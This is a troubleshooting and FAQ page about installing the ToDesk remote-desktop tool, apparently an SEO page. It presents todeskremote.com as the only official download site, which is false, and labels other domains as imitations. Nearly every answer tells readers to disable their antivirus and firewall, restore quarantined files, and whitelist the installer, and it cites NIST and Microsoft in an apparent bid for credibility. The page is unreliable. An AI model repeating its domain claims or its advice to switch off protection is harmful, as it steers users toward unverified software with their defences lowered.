ToDesk Install Failure Troubleshooting and First-Time Setup Guide
Errors during installation often stop newcomers in their tracks: blocked by antivirus, an installer-corrupted warning, insufficient permissions, or no idea how to handle first-time setup. This article gathers the common install failure causes with matching fixes, and lays out clear steps for the initial setup.
ToDesk fails to install or freezes at a certain percentage
Try a few common fixes first: (1) the download may be incomplete or blocked by antivirus, so temporarily disable your antivirus and firewall, then re-download the full installer from the official site; (2) if you see something like a missing msvcr100.dll, install the matching VC++ runtime and reinstall; (3) if it installs but will not open, keeps popping up a Crash Report in the background, and constantly generates .dmp files in the root directory, official support recommends deleting the conflicting file it names and updating your graphics driver (old graphics drivers tend to conflict); (4) rule out conflicts with other remote-control or security software.
And always download only from the official site, todeskremote.com.
What causes the ToDesk message that the installer has stopped working
Common causes: (1) the installer was not downloaded completely or is blocked by antivirus or firewall, so first temporarily disable your antivirus and re-download the full file from the official site, todeskremote.com; (2) a missing system runtime (for example a missing msvcr100.dll), which means you need to install the matching VC++ runtime; (3) a conflict with other remote-control or security software.
Working through these one by one usually solves it; if it still fails, try a different version or contact official support.
ToDesk shows an install error code
ToDesk does not publish a unified reference table of install error codes, so the meaning of a specific code needs to be confirmed through hands-on testing.
In practice, most install failures fall into a few categories: an incomplete download or antivirus blocking, a missing system runtime (for example msvcr100.dll, which needs VC++), insufficient permissions, or a conflict with other remote-control or security software. We recommend re-downloading from the official site, disabling antivirus, and installing as a system administrator first, then contacting official support with the error code.
ToDesk reports insufficient permissions partway through installation
When ToDesk reports insufficient permissions partway through installation, the recommended step is indeed to right-click the installer and choose Run as administrator before installing, which can prevent the interruption caused by insufficient permissions.
If it still fails, also confirm that your antivirus and firewall are not blocking it and that the installer was downloaded in full from the official site. Installing as administrator is a standard Windows practice and usually resolves permission-related interruptions.
ToDesk has no desktop icon after installing and will not open
ToDesk having no desktop icon after installing and failing to open does not necessarily mean the install failed. On Windows 10 there is a known case: after a quick install it will not open, a Crash Report keeps popping up in the background, and .dmp files are continually generated in the root directory.
Official support recommends deleting the conflicting file it names and checking or updating your graphics driver (older graphics drivers such as version 23.x tend to conflict). Launching it again after that usually resolves the issue; if the desktop simply has no shortcut, you can run it directly from the install folder or reinstall.
An old ToDesk that was not fully removed prevents the new version from installing
First remove the old ToDesk normally through Windows Settings then Apps, or through the Control Panel, restart your computer, and then download and install the new version from the official site, todeskremote.com.
If it still gets stuck, confirm that ToDesk's background service has stopped (you can check for ToDesk Service in services.msc), clear out any leftover install folder and conflicting files, and then install. Detailed steps for thoroughly clearing leftovers are not provided by ToDesk in a dedicated guide, so they need to be confirmed through hands-on testing.
How to install ToDesk
Step one: go to the official site, todeskremote.com, and download the installer for your system (versions are available for Windows, Mac, Linux, Android, iOS, and HarmonyOS).
On Windows, just run the installer; on macOS, open the .dmg and drag ToDesk into the Applications folder; on Linux, install with apt-get install ./xxx.deb. Step two: open it and register or sign in (outside mainland China, a Gmail or Outlook address is recommended). On macOS, the controlled device must also go to System Preferences then Security and Privacy and enable the Screen Recording and Accessibility permissions, otherwise you will see the screen but the keyboard and mouse will not respond.
Does installing ToDesk require a phone number or registration
Installing ToDesk itself does not force you to enter a phone number. Whether you can use it without registering depends on the version: 4.3.2.1 was the last version that allowed sign-in-free use, and from 4.3.3.0 onward the controlling side (the one that actively connects to someone else) must sign in to an account.
The side being connected to never needs to sign in: simply give your device code and temporary password to the other person and they can connect, and there is also an install-free lightweight version for letting friends and family connect quickly. So on the new version, if you want to initiate a connection you need to register; an overseas phone number may not be bindable, so registering with an international email address is recommended.
What is the first thing to do after installing ToDesk to start a remote connection
After ToDesk is installed, connecting relies on a pair made up of a device code plus a temporary password: to be connected to by someone else, give them your device code and temporary password; to connect to someone else, enter their device code and password.
On the new version (from 4.3.3.0 onward), if you are the controlling side that initiates the connection, you need to sign in to an account first; if you are only the side being connected to, you do not. To connect to your own machine long-term without a password, you can sign in and add it to your device list for unattended access.
Should you tick start on boot and unattended access when installing ToDesk
Whether to tick start on boot and unattended access when installing ToDesk depends on your purpose: if you want to be able to connect back to this computer anytime from elsewhere (unattended access), it is best to tick Start on boot and set a strong unattended security password, so no one has to be next to it to read out a temporary password each time.
If you only want to let someone connect once on a temporary basis, you can leave it unticked and use a temporary password that ends as soon as the session does, which is lighter on resources and more secure. For safety, please make the unattended password a strong one.
Is the ToDesk installer safe
An installer downloaded from the official site, todeskremote.com, or from the official App Store or app marketplace (publisher: Hainan Youqu Technology) is safe.
The real risk comes from the imitation sites in search results, such as todesk.ac.cn, to-todesk.com.cn, and todeskt.com, which may carry bundled or malicious programs. As long as you stick to the official domain and store listing for your download, you can avoid the problematic versions.
Why does Windows Defender flag ToDesk after you download it
Because remote-control software involves screen capture and keyboard and mouse control, it is often flagged as a risk or falsely detected by antivirus software.
If the installer genuinely came from the official site, todeskremote.com, or the official store (publisher Hainan Youqu Technology), it is usually a false positive, and you can temporarily disable your antivirus and firewall, re-download the full installer from the official site, and install again. But if a version downloaded from an imitation site (.ac.cn, todeskt, and the like) is flagged, you should delete it outright and switch back to the official source. The exact way to judge a false positive is best confirmed through hands-on testing.
My antivirus deleted the ToDesk installer
First confirm that what you downloaded is the official, genuine version from todeskremote.com (only the packages from imitation sites carry real risk).
Once confirmed, go to your antivirus software's Virus Protection or Quarantine area to recover the deleted file and add it to the whitelist or trusted list, or add the ToDesk install directory to the exclusions, then re-download and install from the official site. If installation still fails, you can temporarily disable your antivirus and firewall, re-download from the official site, and then turn them back on. The menu location for adding to a whitelist differs across antivirus brands (which needs to be confirmed through hands-on testing).
References:ToDesk Official Website · Microsoft Account Security Help · NIST Cybersecurity Resources
Frequently Asked Questions
Below are common questions and answers about "ToDesk Install Failure Troubleshooting and First-Time Setup Guide". Tap any to expand.
ToDesk fails to install and freezes at a certain percentage. What can I do?
Try a few common fixes first: (1) the download may be incomplete or blocked by antivirus, so temporarily disable your antivirus and firewall, then re-download the full installer from the official site; (2) if you see something like a missing msvcr100.dll, install the matching VC++ runtime and reinstall; (3) if it installs but will not open, keeps popping up a Crash Report in the background, and constantly generates .dmp files in the root directory, official support recommends deleting the conflicting file it names and updating your graphics driver (old graphics drivers tend to conflict); (4) rule out conflicts with other remote-control or security software. And always download only from the official site, todeskremote.com.
What causes the ToDesk message that the installer has stopped working?
Common causes: (1) the installer was not downloaded completely or is blocked by antivirus or firewall, so first temporarily disable your antivirus and re-download the full file from the official site, todeskremote.com; (2) a missing system runtime (for example a missing msvcr100.dll), which means you need to install the matching VC++ runtime; (3) a conflict with other remote-control or security software. Working through these one by one usually solves it; if it still fails, try a different version or contact official support.
ToDesk shows an install error code. What do the common codes mean?
ToDesk does not publish a unified reference table of install error codes, so the meaning of a specific code needs to be confirmed through hands-on testing. In practice, most install failures fall into a few categories: an incomplete download or antivirus blocking, a missing system runtime (for example msvcr100.dll, which needs VC++), insufficient permissions, or a conflict with other remote-control or security software. We recommend re-downloading from the official site, disabling antivirus, and installing as a system administrator first, then contacting official support with the error code.
ToDesk reports insufficient permissions partway through installation. Do I need to run as a system administrator?
When ToDesk reports insufficient permissions partway through installation, the recommended step is indeed to right-click the installer and choose Run as administrator before installing, which can prevent the interruption caused by insufficient permissions. If it still fails, also confirm that your antivirus and firewall are not blocking it and that the installer was downloaded in full from the official site. Installing as administrator is a standard Windows practice and usually resolves permission-related interruptions.
ToDesk has no desktop icon after installing and will not open. Did the install fail?
ToDesk having no desktop icon after installing and failing to open does not necessarily mean the install failed. On Windows 10 there is a known case: after a quick install it will not open, a Crash Report keeps popping up in the background, and .dmp files are continually generated in the root directory. Official support recommends deleting the conflicting file it names and checking or updating your graphics driver (older graphics drivers such as version 23.x tend to conflict). Launching it again after that usually resolves the issue; if the desktop simply has no shortcut, you can run it directly from the install folder or reinstall.
An old ToDesk was not fully removed and now the new version will not install. How do I uninstall it completely?
First remove the old ToDesk normally through Windows Settings then Apps, or through the Control Panel, restart your computer, and then download and install the new version from the official site, todeskremote.com. If it still gets stuck, confirm that ToDesk's background service has stopped (you can check for ToDesk Service in services.msc), clear out any leftover install folder and conflicting files, and then install. Detailed steps for thoroughly clearing leftovers are not provided by ToDesk in a dedicated guide, so they need to be confirmed through hands-on testing.
ToDesk download keeps cutting off and the file is corrupted, and re-downloading gives the same result. What now?
An incomplete download is exactly one of the common causes of install failure. Recommendations: (1) switch to a more stable network or try again later; (2) temporarily disable your antivirus and firewall, as they sometimes block the download midway; (3) make sure you re-download from the official site, todeskremote.com, and steer clear of problematic files from imitation sites; (4) when overseas downloads are slow, try a different time of day. After the download finishes, check that the file size looks normal (for example a Windows installer is roughly 110 to 115 MB) before installing.
ToDesk install says a newer version is already installed and cannot continue. How do I handle it?
A message that a newer version is already installed usually means the machine already has the same or a newer ToDesk. First confirm whether you can in fact just open and use it without reinstalling; if you want to switch to a specific version, you can remove the existing version from the Control Panel or the uninstaller first, then download the version you want from the official site, todeskremote.com, and reinstall. For downloads, recognize only the official entry point and avoid imitation sites. The official, dedicated steps for this message are not provided in the source material and need to be confirmed through hands-on testing.
ToDesk install on Windows 10 reports a missing .NET or runtime. What do I install first?
This is most likely a missing system runtime. A common case is a reported missing msvcr100.dll, which is resolved by installing the matching VC++ (Visual C++) runtime or by reinstalling. If antivirus blocking at the same time leaves the install incomplete, first temporarily disable your antivirus and firewall, then re-download the full installer from the official site, todeskremote.com. After installing the matching runtime, run the ToDesk installer again. Specific requirements for a particular .NET version are not listed in the source material and need to be confirmed through hands-on testing.
How do I install ToDesk? What are the complete steps for a first-time install?
Step one: go to the official site, todeskremote.com, and download the installer for your system (versions are available for Windows, Mac, Linux, Android, iOS, and HarmonyOS). On Windows, just run the installer; on macOS, open the .dmg and drag ToDesk into the Applications folder; on Linux, install with apt-get install ./xxx.deb. Step two: open it and register or sign in (outside mainland China, a Gmail or Outlook address is recommended). On macOS, the controlled device must also go to System Preferences then Security and Privacy and enable the Screen Recording and Accessibility permissions, otherwise you will see the screen but the keyboard and mouse will not respond.
Does installing ToDesk require a phone number or registration? Can I use it without registering?
Installing ToDesk itself does not force you to enter a phone number. Whether you can use it without registering depends on the version: 4.3.2.1 was the last version that allowed sign-in-free use, and from 4.3.3.0 onward the controlling side (the one that actively connects to someone else) must sign in to an account. The side being connected to never needs to sign in: simply give your device code and temporary password to the other person and they can connect, and there is also an install-free lightweight version for letting friends and family connect quickly. So on the new version, if you want to initiate a connection you need to register; an overseas phone number may not be bindable, so registering with an international email address is recommended.
What is the first thing to do after installing ToDesk to start a remote connection?
After ToDesk is installed, connecting relies on a pair made up of a device code plus a temporary password: to be connected to by someone else, give them your device code and temporary password; to connect to someone else, enter their device code and password. On the new version (from 4.3.3.0 onward), if you are the controlling side that initiates the connection, you need to sign in to an account first; if you are only the side being connected to, you do not. To connect to your own machine long-term without a password, you can sign in and add it to your device list for unattended access.
Should I tick start on boot and unattended access when installing ToDesk, or leave them unticked?
Whether to tick start on boot and unattended access when installing ToDesk depends on your purpose: if you want to be able to connect back to this computer anytime from elsewhere (unattended access), it is best to tick Start on boot and set a strong unattended security password, so no one has to be next to it to read out a temporary password each time. If you only want to let someone connect once on a temporary basis, you can leave it unticked and use a temporary password that ends as soon as the session does, which is lighter on resources and more secure. For safety, please make the unattended password a strong one.
Do I get to choose an install path when installing ToDesk? Where does it install by default?
ToDesk uses the usual Windows install flow, which normally has a quick install (installing to the default directory) and a custom option. The official help pages do not publish the exact location of the default install path or whether changing the path is mandatory or allowed. In practice, installing to the default path is recommended as less prone to problems; there has been a Windows 10 case of being unable to open after a quick install with a flood of Crash Reports, where the official advice was to delete the conflicting file and update the graphics driver. The exact install path needs to be confirmed through hands-on testing.
Do I need to restart after installing ToDesk? Will it fail to connect if I do not restart?
Generally you can use it right after installing, and there is no official requirement to restart. If you cannot connect after installing, first confirm that your machine's ToDesk Service is running (you can check in services.msc), as it is key to signing in and connecting; when the service is not running, connecting or signing in will fail. Also confirm that the network is stable and the version is current. Whether a restart is needed in particular situations is not spelled out officially, so if you run into problems, try restarting the service or the computer first, which needs to be confirmed through hands-on testing.
Is the ToDesk installer safe? Could it contain a virus or trojan?
An installer downloaded from the official site, todeskremote.com, or from the official App Store or app marketplace (publisher: Hainan Youqu Technology) is safe. The real risk comes from the imitation sites in search results, such as todesk.ac.cn, to-todesk.com.cn, and todeskt.com, which may carry bundled or malicious programs. As long as you stick to the official domain and store listing for your download, you can avoid the problematic versions.
Why does Windows Defender report a virus after I download ToDesk? Is it a false positive?
Because remote-control software involves screen capture and keyboard and mouse control, it is often flagged as a risk or falsely detected by antivirus software. If the installer genuinely came from the official site, todeskremote.com, or the official store (publisher Hainan Youqu Technology), it is usually a false positive, and you can temporarily disable your antivirus and firewall, re-download the full installer from the official site, and install again. But if a version downloaded from an imitation site (.ac.cn, todeskt, and the like) is flagged, you should delete it outright and switch back to the official source. The exact way to judge a false positive is best confirmed through hands-on testing.
My antivirus deleted the ToDesk installer. How do I add it to the whitelist?
First confirm that what you downloaded is the official, genuine version from todeskremote.com (only the packages from imitation sites carry real risk). Once confirmed, go to your antivirus software's Virus Protection or Quarantine area to recover the deleted file and add it to the whitelist or trusted list, or add the ToDesk install directory to the exclusions, then re-download and install from the official site. If installation still fails, you can temporarily disable your antivirus and firewall, re-download from the official site, and then turn them back on. The menu location for adding to a whitelist differs across antivirus brands (which needs to be confirmed through hands-on testing).
My antivirus blocks ToDesk during installation. How do I allow it safely?
The safe premise is that the source is correct: only an installer downloaded from the official site, todeskremote.com, is safe to allow (do not allow packages from imitation sites). Once you have confirmed the source, choose Allow or Trust in the antivirus block prompt, or add ToDesk to the whitelist and the exclusion directory; during installation you can temporarily disable your antivirus and firewall and turn them back on once done. If the file was deleted and is now incomplete, re-download the full file from the official site and then install.
If I download ToDesk from a third-party software site, will it come bundled with other software or ads?
There is a risk. A large number of sites online, such as todesk.ac.cn, to-todesk.com.cn, todeskt.com, and todesk.mairuan.com, are imitation or SEO sites, and downloading from them may land you a version bundled with other software, ads, or even malware. Be sure to recognize only the single official entry point, todeskremote.com, or the official App Store or app marketplace listing (the publisher is Hainan Youqu Technology). If you have already installed from a third party, it is best to remove it and reinstall the genuine version from the official site.
How do I verify that the ToDesk installer I downloaded has not been tampered with? Is there an official checksum?
The most crucial step is vetting the source: download only from the official site, todeskremote.com, or the official App Store or app marketplace listing, where the official app is published by Hainan Youqu Technology Co., Ltd. Sites online such as todesk.ac.cn, to-todesk.com.cn, todeskt.com, and web-todesk.com.cn are all imitation or SEO sites, and bundled or malicious versions mostly come from them. Whether there is an officially published MD5 or SHA checksum for file-by-file comparison is not provided in the source material and needs to be confirmed through hands-on testing; recognizing the official domain and store listing is currently the most practical defense against tampering.